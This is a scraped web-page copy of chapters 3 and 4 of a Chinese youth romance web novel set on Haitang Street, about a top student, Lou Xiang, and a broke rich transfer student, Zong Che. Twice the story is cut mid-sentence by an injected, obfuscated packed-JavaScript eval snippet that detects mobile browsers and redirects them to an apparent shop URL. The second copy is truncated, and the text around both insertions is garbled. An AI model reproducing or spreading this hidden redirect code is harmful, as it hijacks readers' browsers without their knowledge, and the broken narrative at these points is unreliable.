《海堂街一十八号(免费小短文)》 3. Chapter 3 细雨霏霏。 楼湘从公交车下来,想起楼小三的奶粉快喝完了,便去了隔壁街的港货店买了两瓶进口奶粉。 拎着奶粉回到楼下时,恰好遇上一身狼狈的宗澈。 宗澈摸了把满是水珠的脸,问她:“这儿哪里有收费便宜的有良心点的修车行?” 刚他在半路看到一家修车行,推进去一问,居然要两千块。要搁从前,别说两千,两万他都能随便付。 可这会他补完关税,微信余额只剩一百四十六块九毛。 一百,四十六块,九毛。 他宗澈居然沦落到全身只有一百四十六块九毛的地步! 楼湘看着他。 少年肤白唇红,被雨淋过的眼眸湿漉漉的,像无家可归的落魄小狗。 她点了下头:“车我帮你看着,你先上去换套衣服,一会我带你去。” 说着又把手上的奶粉递给他:“顺便帮我把奶粉放我家门口,502房。” “只放门口?” “嗯,只放门口。对了,”楼湘撑着伞,神色带了点儿薄凉,“不想白换衣服就记得带把伞,我不会跟你共用一把伞。” 宗澈:“……”你还挺诚实。 海堂街是一条长街,分东街和西街,楼湘住在东街,而修车店在西街。 两人经过某家水果铺时,老板娘陈姨心照不宣地给楼湘抛了个媚眼,又比了个嘴型:“我懂,我懂。” 楼湘:“……” “还有多久?”宗澈一手撑伞,一手推车,喘着气问。 他刚才顶着凄风苦雨推了四十分钟车,这会都快hold不住了,再过几分钟他手臂估计得抽筋。 楼湘瞥一眼他青筋勃发的手臂,想到他在风雨中倔强推车的身影,默了默,把手里的伞给他,说:“最快也还要十五分钟,你给我撑伞,我给你推车。” 宗澈:“我这车很重,你推不动。” 楼湘:“打伞。”废话真多。 宗澈:“……” 他原先还不好意思让一个纤瘦的女生做这种重活,见楼湘这么拽,便接过伞:“行吧,你好好感受感受,推不动就换我,别逞强。” 接下来十五分钟,宗澈亲眼目睹一个瘦弱女生是如何气定神闲、健步如飞地把车推到修车店。 大气都不喘一个。 还挺厉害的。 - 修车店的老板从前是楼骁的兄弟之一,知道宗澈是楼湘的同学后就只收了修车的材料费。 一共两百六十元整。 面对这么良心的良心价,宗大少爷实在问不出能不能打个折只收一百四十六块九毛这样的话。 于是趁着老板修车的空档,宗澈把楼湘拉到角落,厚着脸皮问:“能不能借两百块给我周转一下?我保证很快就还钱。” 少年那张尤物脸涨得通红,语气很微妙。 是拉不下面子又不得不拉下面子,并且被生活狠狠抽打过的语气。 楼湘看他一眼,问:“什么时候还?” “过几天。” “几天?” “三天!”宗澈一口白牙几乎要咬碎,“三天还不了我百倍奉还!” 楼湘拿出两张毛爷爷给宗澈,转身进了旁边一家杂货铺,出来时手里拎着两瓶白酒。 她将酒放上修车店的工作台,说:“钱叔,这酒是我同学孝敬您的。” “诶,小同学买什么酒!”钱友乐把拆下来的轮胎搁一边,抬头冲宗澈道,“你是湘儿的同学,也算是我的小辈,以后别这么客气!” 宗澈:“……应该的。” 宗澈腆着脸应完话,又听楼湘问:“钱叔,以后他这车能停在您这吗?” “行,怎么不行!”钱同乐爽快道,“放心,这车有我看着,在海堂街没人敢偷!” 楼湘笑笑:“谢谢钱叔,明天我们再过来取车。” - 路灯昏黄,光线被雨幕冲散得更淡,将烟火气浓厚的长街彰显得格外冷清。 宗澈偏头看了眼旁边的女生,因为身高的缘故,他的角度只能看到她头顶撑着的伞。 天青色,白碎花。雨水溅在上头,像是一幅朦胧的画。 “今天谢谢你了。”他说。 楼湘:“嗯,你应该谢的。” “……” 楼湘目不斜视,继续说:“刚刚两瓶酒钱算你的,一瓶一百一十元,你一共欠我四百八十块。” “……”宗澈笑了笑,“行,算我的。对了,你叫什么名字?” 楼湘脚步没停,不咸不淡道:“干嘛?” 宗澈:“没干嘛,就想交个朋友。” 想跟宗澈交朋友的人多了去,这还是宗大少爷第一次主动结交朋友。 楼湘淡淡瞥他,头顶的伞因为她的动作微微抬起一角。伞下,那双轮廓漂亮的杏眼倒映着灯火。 她语气薄凉:“想交我这朋友可以,先还钱,钱没还上,你只能当我仇人。” 宗澈第一次主动吃了个闭门羹,他盯着她看了两秒,没好气地说:“行。” 两人沉默着回到海堂街一十八号。 两罐奶粉静静地立在502号房门口,楼湘拎起袋子,拿出钥匙开门,然后关门,连句再见都没说。 宗澈在门外站了几秒,冷不丁说:“红烧牛肉,清蒸鱼,麻婆豆腐,还有酸辣土豆丝。” 隔着一道门,正在玄关换鞋的楼湘:“……” 这人莫名其妙练什么相声?练相声也不是练这几道菜。 毛病。 她把伞撑开放阳台里,然后进洗手间洗手。出来时,容初语正好端着一盘麻婆豆腐出来,笑着说:“吃饭了,有你爱吃的红烧牛肉和麻婆豆腐。” 楼湘:“……” “是不是还有清蒸鱼和酸辣土豆丝?” “是啊,”容初语声音诧异,“湘儿,你这鼻子真灵。” 楼湘:灵的不是我,是楼上那只无家可归的落魄狗。 - 楼湘回来得比平时晚了点,但全家人都等着她吃饭。 楼墨给楼湘盛饭,楼岚给楼湘递筷子,楼小三给楼湘卖笑,三个弟弟妹妹把楼湘当公主一样宠。 楼湘的语气带点无奈:“以后我回来晚了就别等我吃饭,给我留点饭菜就好。” “不差那点时间,一家人要一起吃饭才好。”容初语说。 楼湘家里的餐桌餐椅是楼骁自己做的,能坐八人,这餐桌十分结实,用了这么多年都没见坏。 餐桌的主位摆着一副空的碗筷,那是从前楼骁坐的位置。 楼湘在那空碗筷上看了眼,说:“行吧,以后我尽量准时回家。” 因为下雨,楼湘原本说好的家教学生临时留在学校,兼职只能换到明天。 楼湘三年前是南安市的中考状元,在伯德这两年每一次考试都是第一名,不少其他学校的学生慕名而来,专门请她做家教。 每小时付给她的家教费比大学生还多。 她从高一开始就同时给三个初中生做家教,靠着伯德的奖学金,以及每个月做家教和模特挣的钱,基本能支付家里所有的开销。 她在床上躺下,小声呢喃:“海堂街会拆迁,海堂街会拆迁,海堂街会拆迁……我,楼湘,将是下一个拆迁大户!” 如此自我催眠了五分钟,身上所有的疲惫感一扫而空。她一个鲤鱼打挺从床上坐起,打开台灯做作业。 花了两个小时做完三套卷子,楼湘大脑有些发胀,索性起身推开窗户。 外头的雨已经停了。 她站在窗边吹风,一道怎么听怎么拽的声音断断续续传来:“你们两个臭小子,存心在这看我笑话是不?等着啊,等我回去了,看我怎么收拾你们!” 602室。 带着耳机的宗澈冷着脸盯向手机屏幕里的两个少年。 屏幕里一个棕发少年摸了摸鼻子,小声道:“澈哥,不是我们不帮你,实在是宗爷爷心太黑了。我爷爷已经说了,我们之中但凡有一个人帮了你,那我们的账户也会被冻结,一毛钱也拿不到。” “不是澈哥,”另一个长相阴柔的少年咬着根烟,无奈地叹气,“你到底做了什么天怒人怨的事逼得你爷下手这么狠?你找我们还不如找你家老爷子服个软有用。” 宗澈倒是没想到他爷爷连这种损招都使出来了,存心逼他低头认错。 他咬了咬牙,从牙缝里吐出一句:“行了,你们帮不了就算了,钱的事我自己想办法。” 结束视频通话后,他眯着眼盯着窗外的夜色,缓缓吐出一口气。 以他爷爷厚颜无耻的程度,他不能用自己的名字开银行账户或者股票账户,要不然肯定连本都会赔进去。 到时候别说内裤了,连袜子都留不下。 宗澈揉了把脸,有些后悔没把波士顿的东西全带回来,好歹能拿几个表去卖。 502室。 楼湘默默关上窗户,为她刚借出去的420块点了根蜡。 - 楼湘并没有为那极有可能打水漂420块头疼,因为她遇到了更头疼的事—— 楼墨身上的淤青又多了两处。 虽然他坚持说是踢足球时弄出来的,可是楼湘不信。 楼墨四年前跟她一起目睹了楼骁受伤、去世,这小子从那之后就变得格外懂事,遇到任何不好的事都不会跟她说。 因为楼墨的事,楼湘周五一整天都心神不宁。 下午第八节自习课在多功能室特训口语,她坐在角落的椅子上,盯着一本英语书看了十几分钟,却一页都没翻。 直到宗澈过来敲她的桌子,她才抬起头:“有事?” “你背书呢?”宗澈示意她看黑板,“老师刚给了个题目,只给你们20分钟的准备时间,然后你们轮流上台演讲。” 楼湘“嗯”了声:“谢了。” 她把书合上,开始准备一会要讲的内容。 宗澈继续低头打游戏。他坐的位置跟楼湘就隔着两个座位,两人这几天在学校里依旧不怎么说话,但宗澈总算知道她的名字了:楼湘。 英语老师在二十分钟后回来多功能室,一进来就点了楼湘的名字。作为年级第一,楼湘早有心理准备,淡定走了上去。 宗澈放下手机,背靠椅背看向楼湘。 她穿着伯德的校服,白衬衣,浅蓝色百褶裙,身姿纤细挺拔,脖颈修长,像只优雅的白天鹅。 此时白天鹅正流利地说着英语,一口还算纯正的美式口音。演讲的内容也不错,观点鲜明,逻辑自洽,还带了点美式幽默。 只准备了十来分钟就能说成这样,宗澈心想南安市这小破地方也是有人才的。 英语老师显然很满意,夸了几句后转头问教室后头的宗澈:“宗澈同学,你觉得呢?” 宗澈做了个听不懂的表情:“老师,我没听懂。我只能说楼湘同学瞧着有一股王霸之气,妥妥的冠军相。” 众人:“……” 英语老师是从北外毕业的高材生,没比他们大几岁,听到宗澈的话也没生气,还乐不可支地笑起来。 接下来三位同学的演讲,宗澈依旧是一副听不懂的样子,点评更是简洁。 “这位瞧着是亚军相。” “不好意思,在我心里,你只能排第四。” “嗯,只剩下个季军给你了。” 简直就是胡说八道。 排第四的那男生叫程选,一口伦敦腔,从多功能室出来后,他一脸不服气,找到宗澈问:“我为什么是第四?” 他是第三个上去讲的,就算是胡诌,他也该是第三。 宗澈颇有点不耐烦,他这人一不耐烦起来嘴巴就跟摸了毒药一样:“你的发音太矫揉造作,真正的伦敦腔不会这么骚。而且你演讲的内容太松散,一直徘徊在跑题的边缘,比另外三个同学差多了。林同学,你听完他们的演讲,难道就没点13数吗?非要我说出来。” 程选:“……” 程选被宗澈唬得一脸懵。 这家伙不是说他听不懂吗?听不懂还知道他演讲的内容松散,濒临跑题?最重要的是—— 他姓程不姓林! 走在后头听完全程的楼湘若有所思地看着宗澈。出了校门她快步跟上,直白问:“那我呢?” 宗澈放慢脚步,扭过头看她:“什么?” “我刚才的演讲,有哪些问题?” 这拽姐居然还有求问他的时候?宗澈斜眼瞥她两秒,说:“你帮我个忙,我就告诉你。” 似是猜到他要她帮什么忙,楼湘抿了抿唇,说:“钱要还,但可以晚一些还,不需要你百倍赔偿。” 今天是周五,他说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357765|199701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的三天时间已经到了。楼湘没想催他还钱,但也没打算白白送给他。 总有他能还上钱的一天。 宗澈:“……”他是欠钱不还的人吗? “没想不还,就想让你介绍个好点的当铺。我对南安市不熟,你应该知道哪里有吧?” - 南安市还真有几家当铺,就在海堂街那些老街里。楼湘跟着宗澈来到伯德附近一个购物广场,他的哈雷就停在里头的停车场。 宗澈从车座拿出头盔递给楼湘:“就这一个男士头盔,稍微大点,你将就一下。” 楼湘有些犹豫。 她这条命很贵,万一出点什么意外,还没完全病好的容初语根本撑不起家。在不知道宗澈开车技术怎么样的情况下,她不敢坐他的车。 宗澈见她不动,便挑了下眉:“干嘛?怕坐机车?” 楼湘:“你开车技术怎么样?” 宗澈:“……” 宗澈:“好得不能再好。你知道有多少女生想坐我的车吗?你是第一个吃螃蟹的人,别不懂得珍惜。” 楼湘下意识皱眉:“所以你从来没载过人?你这么一说,我更不敢坐了。” 宗澈气笑了:“我头盔都给你了,你怕什么?一会你要是不舒服,我随时停下来把你放下行了吧?看不出来啊楼湘同学,原来你胆子这么小。” 楼湘这才戴上头盔:“我这条命可不仅仅是我自己的,我当然要惜命了。” 她的头挺小的,头盔戴得歪歪扭扭,看着有点好笑。宗澈帮她把头盔摆正收紧,然后揭开面罩:“松紧可以吗?会不会不舒服?” 少年的神情很专注,一头短发被碎金似的光染上金意。他身上那仿佛与生俱来的桀骜不驯在这一刻被削弱。 楼湘抬眼看了看他:“可以,没有不舒服。” 两人对视一眼,又各自收回视线。 宗澈将手上拎着的外套扔给楼湘:“你穿着短裙,把这个围在腰上,这样就不会走光了。” 这家伙身高腿长,外套衣摆直接坠到楼湘小腿处。 楼湘戴着头盔,把袖子绑在腰间时有些不得劲。宗澈一把扯过,帮她三下五除二地绑紧。 他绑好后才后知后觉反应过来:为什么他一直在服务她?还有,女孩子的腰也太细了点,用点力都怕会折断。 楼湘坐在机车后座,双手紧紧抓住后座把手。后座的位置比前座要高,楼湘的下巴刚刚好到宗澈的肩膀。 有几次刹车,她身体前倾,下巴撞上他肩膀。 第一次的时候,楼湘明显感觉到宗澈的身体紧了下,后面几次,他似乎放松了些,刹车也刹得温柔些。 坐公交车回海堂街至少要四十分钟,坐宗澈的机车二十分钟就到了。从机车上下来,楼湘摘下头盔还给宗澈。 “刚不小心磕到你肩膀,抱歉。” “没事。” 宗澈接过头盔,目光在她脸上顿了下。她皮肤很白,这会被头盔闷出淡粉色,看着像颗水蜜桃。 他别开视线,下巴往前面的典当铺一抬:“就这里?” “嗯,在龙叔这里典当东西不会被骗,以后你想赎回来也会容易许多。你要当的是什么东西?” “就一块玉。”宗澈从兜里掏出一条红绳项链,下头坠着一个铜钱状的白玉。 这项链看得出来戴挺久了,红绳子都褪成了粉色。 楼湘默了片刻:“这是你一直戴着的项链?” 宗澈“嗯”了声:“一个亲人送的,说是保平安。” 亲人。 楼湘想起宗澈的私生子身份,心说能被他称作亲人的估计是他妈妈或者妈妈那边的亲戚。 楼湘脚步一顿:“如果你是为了还我钱才要当了这玉,那你不必如此,等以后再还也没事,那点钱打个兼职能挣到了。” “当然不行,我又不是言而无信的人。”宗澈耸耸肩,“行,进去吧,过段时间我就把这玉赎回来。” 每个过来当东西的人都以为自己可以赎回来,但最后能赎回典当物的人寥寥无几。 - 典当铺老板从前也是楼骁的兄弟,跟修车店老板一样,也给了良心价。从典当铺出来,宗澈抽出五张毛爷爷给楼湘,说:“不用找零,剩下的当利息。” “我又不是放高利贷的。”楼湘身上没有80块零钱,只好拿出手机,“你有支付宝吗?我给你转。” 宗澈靠坐在机车上,闻言抬眼看楼湘,说:“没,微信转吧,你扫我还是我扫你。” 见楼湘有些迟疑,宗澈“啧”了声:“知不知道有多少人想加我微信?连美国总统和比尔盖茨都没我微信,现在你可以有,珍惜吧。” 楼湘:“……” 楼湘点开微信扫他二维码:“有人说过你很自恋吗?” 宗澈笑了下。 楼湘给他转好钱,又看了看时间,说:“我回家了。” “等会啊同学,不是要我指出你演讲中的问题吗?”宗澈说,“不听了?” “来不及了,我一会还有个兼职。” “兼职?” “嗯,有个家教活。”楼湘把手机揣回兜里,跟宗澈摆手,“下回再跟我说吧,再见。” - 楼湘家教结束后差不多十点半,楼墨那会已经下了晚自习,她把楼墨喊进房间。 “你脖子上这伤又是怎么来的?跑步还是跳高?”楼湘抱胸倚墙,目光锐利。 楼墨摸了摸脖子,不怎么在意地说:“这次还是打篮球弄的。姐,你别紧张,这些伤真是不小心弄的。” 楼湘没说话,和楼墨对视。两分钟后,男孩渐渐垂下头,嘴角的笑散了。 楼墨今年才初二,可个子已经有一米七三,比楼湘还要高两厘米。 楼湘抬手摸摸他的头,声音柔和了下来:“小一,爸爸是死了,可姐姐还在。只要姐姐在,就不会让任何人欺负你们。” 楼墨沉默了好一会,俊秀的脸涌出点沮丧:“姐,我是家里唯一的男人,明明该是我撑起这个家才对。” 这话从十三岁的楼墨嘴里说出来,还带着些天真的稚气,却让楼湘鼻尖一酸。被强行拔苗长大的人一个她就够了,她的弟弟妹妹不需要承担这些。 “等小一长大了再做个顶天立地的男人。现在,你老实跟姐姐说,究竟是谁在欺负你?” 4. Chapter 4 周六这日楼湘只有半天课。第四节课一结束,她接到周筱的电话,匆匆叫了辆车就走了。 宗澈出校门口时恰好看到她矮身钻入出租车,一时还有些意外。这位楼同学平时都只搭公交车上下学,今天居然这么奢侈坐出租车了? 到隔壁广场取完机车后,他将车子一路开到修车店,刚停好车就看见一个花臂少年从店门口小跑过去,边跑边打电话:“还能再多叫些人过来吗?楼墨的姐姐太能打了,狐哥他们打不过!你们别怂啊,一会我给你们多加点钱行不行?” 楼墨? 海堂街姓楼的人家,宗澈知道的就只有那一家。 宗澈眯眼看着花臂少年,半晌,不动声色跟上去。走了几分钟,花臂少年把电话挂断,站在街尾一个死胡同外头,偷偷摸摸往里瞧。 胡同口有一棵大树,宗澈悄无声息走过去,站在树后。 狭窄的长巷里,楼湘穿着身运动服,跟一个一身腱子肉大概二十来岁的青年近身肉搏。 她瞧着分明很瘦,连握紧的拳头都是小小一个。可是一拳出去却虎虎生风,腱子肉惨叫一声,脸色刹那间变得很白。 宗澈看得清楚,楼湘那一拳砸在他胃部,力道很大,她手上还套着指虎,腱子肉这会整个胃都得疼得痉挛了。 腱子肉抚着胃弯腰时,楼湘一个抬腿,膝盖用力击在他下巴。“砰”的一声,男人被劲力带倒在地上,他旁边已经倒下了两个瘦瘦弱弱的少年。 正在偷看的花臂少年下意识后退一步,手上里的手机抖了下。 楼湘身后站着个留着齐耳短发、眉眼英气的女孩。这女孩显然跟她一拨,手里拎着根铁棍,一边嚼着糖一边冷冷盯着地上三个男人,目光像是看烂肉里的蛆一样。 宗澈见楼湘占上风,也不急着现身,干脆蹲下来看戏。 楼湘一脚踩上腱子肉的手,眉眼冷戾:“狐哥对吧?既然来了海堂街,难道不知道这条街的规矩?还是你觉得我们海堂街的人好欺负?” 周筱掂着手里的铁棍,冷笑一声:“我楼骁叔还在那会,我家湘儿可是海堂街一姐呢,你们这些垃圾给她提鞋都不配。现在楼骁叔就算不在,也不代表我们海堂街没人了。湘儿,咱们把人丢堂口去,别脏了你的手。” 腱子肉原先还一脸阴狠,听见“楼骁”“堂口”这几个字眼,脸色立即变了。 他家老大讲过海堂街有几个人不能惹,这些人都是以前堂口里混的,这其中最厉害的就是楼骁,连老大提起他来都是一脸钦佩。 腱子肉心里咒骂一句,悔得肠子都青了。出来混的不管里子如何,面上少不了“义气”两个字。那金毛只说让他吓唬吓唬他们学校的年级第一,可没说这个年级第一是楼骁的儿子。 谁能想到楼骁的孩子能是年级第一啊?让人知道他欺负到人家遗孤,他以后还怎么出来混? “我不知道那小子是骁哥的孩子,黄毛说他同学故意陷害他被学校开除,让我替他出口气,都怪我有眼不识泰山被人忽悠了!” 腱子肉手脚麻利地把身上的钱全掏出来,连旁边两个装死小弟口袋里的红票子都没放过。 皱巴巴的红票子叠成一摞递给楼湘,目测得有两三千块,比他们从楼墨那里抢的要多不少。 见楼湘不接,狐哥露出个讨好的笑容:“给您弟弟压压惊,以后我保证不会有人敢欺负他!” 楼湘刚想说话,身后忽然传来一道气急败坏的声音:“喂喂,你干嘛!快放开我!” - 宗澈揪着花臂少年的衣领往巷子里走,边走边云淡风轻说:“这小孩偷拍了你们打架的视频,还打电话喊人过来,发现形势不对就想偷跑。” 楼湘看了宗澈一眼,随后看向花臂少年。这少年一头金发,打着鼻钉,手臂全是刺青。年纪瞧着不大,还有点眼熟。 楼湘在楼墨的班级合照里见过这家伙,只是那会他头发还没染色,也没这么流里流气。 她还没来得及说话,外头又传进一阵低音炮似的引擎声。二十来辆摩托车“轰隆隆”开进长巷,最后几辆挤不进来,干脆横成一排堵在入口。 车主有男有女,领头那两人还是熟面孔。 穿着白色背心沾了一身机油的是修车店老板钱叔,脖子挂着串佛珠还镶了一颗金牙的是上星期才见过的当铺老板龙叔。 狐哥一看到这群人,一整个人哆嗦了起来,指着花臂少年急忙道:“是他,上个月就是他找上我,塞钱让我教训他同学!我只看照片认人,根本不知道那是骁哥的儿子!” 花臂少年膝盖一软,连忙说道:“楼墨举报我考试作弊让学校开除我,我一时不忿才才找的狐哥。” 花臂少年是楼墨的同学,难怪楼湘瞧着眼熟。 上学期期末考,他找楼墨帮忙作弊,被楼墨拒绝后不死心,又塞钱找了别的同学。结果考第一门课就被逮住,他本来就背了几条大处分,这事一出学校直接勒令他退学。 花臂少年不敢找学校麻烦,把账算在了楼墨头上。 楼湘以前在浅水一中可没少收拾这种人,说出口的话也毒。 “你还不配让楼墨举报,你也知道不是楼墨做的,就是想找个人出气。不肯帮你作弊的楼墨于是成了最方便的出气筒。你一直都很妒忌楼墨,我说得对吗?” 巷子里静了下来,花臂少年目光闪烁地低下眼。 修车店老板慢悠悠走过来,宽厚的手掌沉沉按在花臂少年的肩膀,对宗澈点头示意他放手:“这里交给我们,你们几个安心回家学习去。” 楼湘看着钱叔不说话,面色带点迟疑。 一脸憨厚的当铺老板笑眯眯说:“别担心,我们有分寸。以后遇到这种事记得跟我们说,你们最重要的任务就是好好学习。” 楼湘点点头,瞥一眼宗澈后说:“跟我走吧。” 宗澈跟在楼湘身后,一路听着她这个叔那个姨地叫,显然这群摩托车主全是她相熟的长辈。 一个烫着羊毛卷的阿姨将周筱拦了下来,周筱对宗澈还挺好奇的,但自家老娘不让她跑,她只好收起铁棍,等晚上再去找楼湘八卦。 这边的动静不算小,楼湘走到半路遇到了背着书包匆匆赶来的楼墨。楼湘揽过弟弟的肩膀,示意他安心。 “有钱叔他们在你别操心,跟我一起回家。” 楼墨松了口气,眼角余光却忍不住偷偷看向宗澈。 这不是住在楼上的黑脸哥吗?今天虽然没有黑着一张脸,但他怎么跟他姐走一块儿了? 宗澈不是没发现这小子暗搓搓瞥来的目光,但他从小就是人群里的焦点,对别人的目光已经免疫。 到了五楼,楼湘让楼墨先进屋,楼墨又打量了眼比他高一个头的宗澈,不太放心地进了屋。 楼湘把大门关上,转过身对宗澈说:“刚刚谢了。” “有什么好谢的,我又没帮上什么忙。”宗澈抱胸靠着楼梯扶手,看着楼湘笑了下,“欸,海堂街一姐,你有点儿东西啊。” 楼湘:…… 楼梯间的窗户开着,有风从外面吹了进来,宗澈额发被风微微吹起,那双黑曜石般的眼眸终于少了些桀骜,多了点连他自己都没发觉的柔和。 - 周一下午的体育课,楼湘原本报名的柔道因为人数不足四人被取消了,她被调剂到了篮球课去。 同样报了柔道的宗澈被调剂了。 篮球在一班不是受欢迎的体育项目,加上楼湘和宗澈也才六个人,四男两女。篮球课的老师是田勇,第一节课教了他们最基本的运球。 楼湘从前跟周筱、周扬一起打过街头篮球,懂一点最基本的运球常识。 她在球场认真拍着球的时候,宗澈站在球框下无聊地转着手上的球。某个瞬间,他看了眼她的动作,毫不客气地笑出声。 楼湘瞥他眼,没理,继续认认真真运球。 下午四五点的太阳不猛烈,算得上温柔,楼湘站在阳光里,眉眼专注,手上的篮球运着运着忽然就脱了手,咕噜咕噜滚到前头,直到被一只黑色运动鞋轻轻踩住才停下。 宗澈垂眼看楼湘:“你运球姿势不对,手容易脱球,要不要我教你?” 楼湘:“你篮球打得很好吗?” 宗澈:“还行吧。”也就蝉联过几届魔都高中篮球联赛的MVP而已。 楼湘:“行吧。”语气听着有点勉强。 宗澈啧一声,把脚上的篮球踢到一边:“看着。” 他弯腰运球,篮球跟长在他手上似的,被他牢牢掌控,不管击在哪都会乖乖跑回他手上,动作利落又帅气。 宗澈边运球边十分耐心地说:“身体重心压低,膝盖屈起,屁股别太翘。” 楼湘下意识看他屁股。 宗澈挑眉:“看哪呢?” “看屁股怎样才算不太翘。” “……” 宗澈:女流氓。 - 田勇回到篮球场时,发现两个女孩儿运球运得都不错,尤其是楼湘。他满意地点点头,下一秒,他的目光被楼湘前面的少年吸引住。 田勇定定看了两分钟,随即走了过去,笑得像个狼外公:“这位同学,我来防守,你来攻球,咱们玩三局,看你能进多少球。” 楼湘跟宗澈动作一顿,两人对视一眼后,楼湘主动走到场外,十分无情无义地把宗澈扔在场内。 少年意味不明地看了楼湘一眼,转过头问田勇:“老师,我要是进球了,有什么奖励?” 少年说话的语气格外嚣张。田勇挑眉,对他这一身桀骜不驯的气质还挺喜欢。当年他在省队做中锋的时候,也是这么不可一世的。 田勇笑道:“你要是三局都能进球,这门课我给你满分。” “给我满分有什么意思,我那徒弟,”宗澈下巴往楼湘那挑了下,“也能跟着给个满分,那才有意思。” 楼湘愣了下。 田勇顺着宗澈的视线看了楼湘一眼,爽快道:“行啊。” 于是楼湘这学期的体育课才刚开始,就顺利拿到了100分。 直接躺赢。 宗澈篮球打得不仅仅是还行,而是牛掰。 宗澈跟田勇比赛时,篮球课的另外四个人也过来看了。那几人显然是内行,一边看一遍感叹,各种专业名词挂在嘴边。 “田老师够凶猛的啊,不愧是当年xx省队的首席中锋!” “靠,宗澈也太厉害了吧,这个假动作玩得太6了!” “我去,宗澈刚刚那球学科比的吧!看得我也想下场玩两把!” 前两局,田勇多少有些轻敌,宗澈顺利进球。第三局,他严防死守,宗澈一直被他压在三分线外,直到最后一秒,宗澈忽然后退一大步,跳跃,投篮。 篮球在空中划出一道漂亮的抛物线,“嗖”一声从球框中心坠落。 “漂亮!” “牛逼!这么远的距离都能中!” “这球算三分太亏了!” 楼湘在一片欢呼声中,静静看着球场中心笑得轻狂又恣意的少年,忍不住想:这私生子也有点儿东西。 - 体育课结束后,宗澈拿过一瓶水,仰头猛灌了几口,喉结滚动,大滴大滴的汗珠从下颌滚落到锁骨。 楼湘在一边看着,等他喝完水了,认真说了声“谢谢”。 宗澈坐在地上,偏头将喝空的水瓶精准扔进不远处的垃圾桶。然后双手往后一撑,扬起头看着楼湘,吊儿郎当道:“嗯,你应该谢的。要不然就你那爱撅着屁股运球的习惯,别说100分,80分都拿不到。” 楼湘:“……” 楼湘:“我收回我的谢谢。” 见楼湘头都不回地走了,宗澈连忙起身跟上。 “生气啦?别生气啊,我跟你道歉行不行?” 楼湘头都懒得回:“我没生气,下一节课要去口语特训,再不走就要迟到了。” 宗澈说:“那一会我好好给你当口语陪练,当做赔罪?” 楼湘回头看他一眼,语气微妙:“你听都听不懂,确定能给我陪练?” 宗澈:“……” - 到了多功能室,英语老师照旧给了个题目,让一会轮流上去演讲。这次只给十分钟准备时间,楼湘是第二个上去的。 宗澈靠墙侧坐,手肘搭在书桌上,漫不经心地听。 南安市的英语口语大赛包括三个环节:演讲,即兴问答,以及辩论。四个人都演讲完后,老师两两配对,给了个辩题,让他们用英语辩论。 演讲结束后是两两辩论,楼湘的模拟辩论对手是程选,两人坐在中间靠后的位置。宗澈拉开他们后面的椅子,坐下后闭眼趴桌上,像是特地过来睡觉的。 程选一边觑着宗澈,一边抑扬顿挫地说,声音越讲越大,颇有种要让宗澈刮目相看的架势。 老师一说下课,程选带着点期待又带着点不忿默默看向宗澈,看得宗澈一脸莫名其妙:“干嘛?想要我给指导意见很贵的,钱准备好了吗?” 程选恼羞成怒,愤而离开:“谁稀罕!” 楼湘收拾好书本,正要跟着离开,后座那嘴欠的少年突然支起身,拿出一支笔戳了戳她的椅背,慢条斯理地说:“海堂街一姐,问个问题——” - 晚饭过后,楼湘上楼敲响602的房门。宗澈过来开门,侧身给她让开:“进来吧。” 楼湘看了眼屋里的装饰,目光在那副写着“豪华公寓”的墨宝上停留了片刻。 宗澈顺着她目光看过去,觉得有必要解释一下:“那不是我写的,我的字没那么丑。” “我知道,”楼湘笑了下,“七叔还是那么喜欢在他的屋子里留字。我中考那年为了让我安心备考,七叔特地把屋子腾出来给我住,那会墙上贴着的是‘乘风破浪’。” “七叔?” “嗯,就是这屋子的主人,他在家里行七,大家都喊他‘七叔’。七婶前些年去世后,七叔怕睹物思人,就骑自行车去环游世界了。” “骑自行车?”宗澈挑眉。 “对,七叔年轻时是全国自行车比赛的冠军,业余组的。” “还挺牛。”宗澈从冰箱里拿出两听可乐,递给楼湘一罐,“海堂街是不是每家每户都有故事?” “是吧,”楼湘接过可乐,“这条街是南安市最老的街,都快成文物了,怎么可能没故事。” 可乐刚从冰箱拿出,金属瓶身缀满水珠,宗澈单手拉开拉环,看了楼湘一眼:“那能不能说说海堂街一姐的故事?” 楼湘对上他目光:“不能。” 她低头喝了口可乐,又补了句:“下回吧,今天先练口语。” 说完这话,楼湘忍不住又看了宗澈一眼。下午的口语特训结束后,这厮叫住了他,然后就开始把她的演讲复述了出来。 是的,只听过一遍,就将她五分钟的演讲大差不差地复述出来。 并且—— 楼湘不得不承认,他的版本比她这个原作要好。发音、停顿、音调以及措辞,全都比她好,也比班上任何一个人都要好。 其实程选的口语楼湘根本挑不出毛病,连外教老师都夸过的英伦腔,到了宗澈眼里却成了矫揉造作。 宗澈复述后,懒懒散散靠上椅背,垂着眼问她:“一姐,现在我有资格给你陪练了吧?” 手里的可乐咕噜咕噜冒着泡,楼湘低头喝了一口,总感觉宗澈身上的故事可能比她还多。 宗澈的陪练是和她辩论,辩题依旧是下午英语老师出的题目。 楼湘和程选辩论时,是碾压式的胜利。可对手换成宗澈,她成了被虐的那个。 对手言语犀利、逻辑严密,轻轻松松就能获得满堂喝彩。楼湘难得起了胜负心,拉着他一直练。 两个小时后,楼湘说到嗓子都有点沙哑。她看了看墙上的挂钟,九点了。 “饿了吗陪练?我请你吃宵夜吧。” - 容初语把楼小三哄睡后,拎着袋垃圾出门,然后便看到从楼梯上走下来的大女儿,旁边还跟着个又高又帅的少年。 她脚步一顿。 楼湘也看到她了,淡定上前接过她手上的垃圾袋,说:“妈,我正好要下楼,垃圾我来扔吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 